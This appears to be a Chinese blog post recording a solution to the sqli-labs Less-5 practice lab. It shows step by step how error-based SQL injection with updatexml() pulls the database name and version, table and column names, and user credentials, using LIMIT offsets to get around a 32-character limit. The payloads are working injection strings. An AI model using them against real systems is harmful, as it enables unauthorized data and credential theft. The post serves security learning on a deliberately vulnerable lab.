当前位置: 首页 > article >正文

sqli-labs学习记录5

less-5

打开靶场
在这里插入图片描述
可以看到和前四关给的回显不一样了。
这里我们继续输入id=1’,进行试探
在这里插入图片描述
输入 id=1’ --+
在这里插入图片描述
不报错,应该是第一关那样的单引号包括的,

爆破字段数

id=1’ order by 3 --+
在这里插入图片描述
没有报错,尝试 id=1’ order by 4 --+
在这里插入图片描述
报错了,知道了字段数为3.

爆破回显字段

id=-1’ union select 1,2,3 --+
在这里插入图片描述
发现不回显了,说明这种方式是不行了。
这里就接触到了一个新的回显方式是报错注入回显。

报错注入

报错注入大佬的解释

报错注入返回数据库的名称与数据库版本

id=1’ and updatexml(1,concat(0x7e,database(),0x7e,version()),1) --+
在这里插入图片描述
可以看到通过报错,出现了数据库名称与数据库版本

报错注入返回数据库的表

id=1’ and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=‘security’),1,32)),1) --+
在这里插入图片描述
报错返回了一些对应的数据库表

报错注入返回数据库users表的字段名

id=1’ and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name =‘users’),1,30)),1)–+
在这里插入图片描述

返回了字段名,用户名与密码的字段名

报错注入返回数据库users表中的数据

id=1’ and updatexml(1,concat(0x7e,substr((select group_concat(username,id,password) from users),1,30)),1) --+
在这里插入图片描述
可以看到返回了一部分的数据库信息。是因为updatexml这个函数只能返回32个字符的错误,所以只得到了一部分的字符。
id=1’ and updatexml(1,concat(0x7e,(select username from users limit 2,1)),1) --+,用上面这个报错语句,可以指定返回的列表信息,利用limit函数的偏移量来完成,查看第四条就将2改为3.


http://www.kler.cn/a/593860.html

相关文章:

  • 游戏引擎学习第166天
  • 如何实现一个分布式单例对象?什么场景需要分布式单例?
  • 如何在 WordPress 中重新生成永久链接?
  • VSCode创建VUE项目(四)增加用户Session管理
  • 深度测评|杰和科技云终端VT813详细介绍+实测数据!
  • Java File 类与文件操作
  • Linux安装Elasticsearch集群-----docker安装es集群
  • 上线后bug常见问题及解决建议
  • 区块链(Blockchain)
  • 基于HTML5的连连看游戏开发实践
  • 鸿蒙NEXT开发实战教程—小红书app
  • day3 微机运算基础
  • 找素数(java)
  • 使用vue3和vue-router实现动态添加和删除cachedViews数组
  • MATLAB中orderfields函数用法
  • 对接股票金融数据源API
  • Dify 项目开源大模型应用开发平台
  • Ecovadis认证咨询辅导的分级体系是什么?
  • Prime: 1靶场渗透测试
  • 【Linux】——进程状态僵尸进程孤儿进程